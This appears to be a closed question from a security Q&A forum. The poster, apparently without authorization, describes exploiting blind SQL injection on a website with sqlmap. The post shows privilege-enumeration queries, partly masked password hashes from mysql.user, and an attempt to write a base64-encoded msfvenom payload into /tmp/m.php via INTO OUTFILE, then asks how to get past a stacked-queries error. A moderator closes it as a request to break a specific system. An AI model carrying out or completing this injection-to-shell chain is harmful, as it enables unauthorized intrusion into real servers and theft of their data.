2

I'm trying to gain access to a web server after I found blind SQLi on the website. I used sqlmap to automate things.

I can read the databases and tables. tried to find a way to get a shell from SQL injection. I found a lot of topics, some of them talk about UDF lib., and the other is talking about outfile!

I start to check my DBMS version:

'5.7.27-0ubuntu0.18.04.1'

Then I checked my current user by:

* SELECT current_user,null /*

> output : [*] dbuser@127.0.0.1,

I checked my priv by:

SELECT * FROM mysql.user WHERE user = 'dbuser'

> [*] Y, Y, Y, Y, Y, Y, Y, Y, Y, Y, Y, Y, Y, N, 127.0.0.1, Y, Y, Y, Y,
> Y, Y, Y, Y, Y, Y, Y, Y, Y, Y, Y, dbuser, N,
> *27726AE29B4****EE5CB17C8ED241B60DB, 0, 0, 0, 0, N, 2019-03-18 13:49:40,  , mysql_native_password, , , ,  [*] Y, Y, Y, Y, Y, Y, Y, Y,
> Y, Y, Y, Y, Y, N, localhost, Y, Y, Y, Y, Y, Y, Y, Y, Y, Y, Y, Y, Y, Y,
> Y, dbuser, N, *27726AE29B****D241B60DB, 0, 0, 0, 0,
> N, 2019-03-18 23:48:22,  , mysql_native_password, , , ,

Then I generated msfvnom base64 encoded payload and i tried to put it in /tmp by :

> SELECT
> “ZjBWTVJnRUJBUUFBQUFBQUFBQUFBQUlBQXdBQkFBQUFWSUFFQ0RRQUFBQUFBQUFBQUFBQUFEUUFJQUFCQUFBQUFBQUFBQUVBQUFBQQpBQUFBQUlBRUNBQ0FCQWk0QUFBQXVBQUFBQWNBQUFBQUVBQUFNZHRUUTFOcUFtcG1XSW5oellDWFcyakFxQUVVWm1nUlhHWlRpZUZxClpsaFFVVmVKNFVQTmdGdVp0Z3l3QTgyQS8rRT0K"
> INTO OUTFILE '/tmp/m.php'

But it does not work. I got this error :

> [05:49:25] [WARNING] execution of non-query SQL statements is only
> available when stacked queries are supported

How can I solve this issue, and what is that mean?

closed as off-topic by schroeder Sep 23 at 14:48

This question appears to be off-topic. The users who voted to close gave this specific reason:

  • "Questions asking us to break the security of a specific system for you are off-topic unless they demonstrate an understanding of the concepts involved and clearly identify a specific problem." – schroeder
If this question can be reworded to fit the rules in the help center, please edit the question.

  • This is not really about SQLi but just interpretting the errors. Have you googled the errors? – schroeder Sep 23 at 14:48